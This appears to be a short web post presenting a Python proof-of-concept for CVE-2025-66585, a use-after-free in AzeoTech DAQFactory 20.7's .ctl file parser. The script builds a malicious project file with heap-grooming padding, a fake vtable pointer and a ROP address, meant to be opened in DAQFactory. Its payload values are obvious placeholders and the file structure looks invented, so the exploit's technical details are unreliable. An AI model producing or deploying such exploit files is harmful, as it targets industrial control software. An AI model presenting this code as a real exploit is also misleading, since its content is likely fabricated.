CVE-2025-66585: AzeoTech DAQFactory 20.7 Use After Free远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-66585 PoC - AzeoTech DAQFactory .ctl File UAF # This PoC generates a malicious .ctl file to trigger Use After Free import struct import sys def create_malicious_ctl(): """Generate a malicious .ctl file that triggers UAF condition""" # DAQFactory .ctl file header structure header = b'DAQFactory Control File\x00' header += struct.pack('<I', 0x207) # Version 20.7 header += struct.pack('<I', 0x2555) # Build 2555 # Create heap grooming payload to trigger UAF # This creates conditions for use-after-free in memory parser payload = b'\x00' * 256 # Padding payload += struct.pack('<I', 0x41414141) # Fake vtable pointer payload += struct.pack('<Q', 0x4242424242424242) # ROP gadget address # Malicious channel definitions to trigger vulnerable code path malicious_section = bytearray() malicious_section += b'Channel\x00' malicious_section += b'MaliciousChannel\x00' # Trigger condition for UAF malicious_section += b'\xDE\xAD\xBE\xEF' # Trigger bytes malicious_section += struct.pack('<I', 0x1000) # Size field malicious_section += b'\x00' * 0x100 # Malformed data # Construct final .ctl file ctl_content = header + payload + malicious_section return ctl_content def main(): print("[*] CVE-2025-66585 PoC Generator") print("[*] Target: AzeoTech DAQFactory 20.7 (Build 2555)") print("[*] Vulnerability: Use After Free in .ctl file parser") # Generate malicious .ctl file malicious_ctl = create_malicious_ctl() # Write to file output_file = "CVE-2025-66585_malicious.ctl" with open(output_file, 'wb') as f: f.write(malicious_ctl) print(f"[+] Generated malicious .ctl file: {output_file}") print(f"[+] File size: {len(malicious_ctl)} bytes") print("[!] This file should be opened with DAQFactory 20.7 to trigger the vulnerability") if __name__ == "__main__": main()